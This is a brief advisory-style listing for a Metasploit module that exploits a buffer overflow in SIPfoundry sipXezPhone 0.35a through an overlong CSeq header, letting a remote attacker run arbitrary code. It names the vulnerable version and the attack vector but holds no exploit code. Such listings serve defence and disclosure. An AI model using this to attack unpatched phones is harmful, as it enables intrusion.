SIPfoundry sipXezPhone 0.35a CSeq Field Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a buffer overflow in SIPfoundry's sipXezPhone version 0.35a. By sending an long CSeq header, a remote attacker could overflow a buffer and execute arbitrary code on the system with the privileges of the affected application.
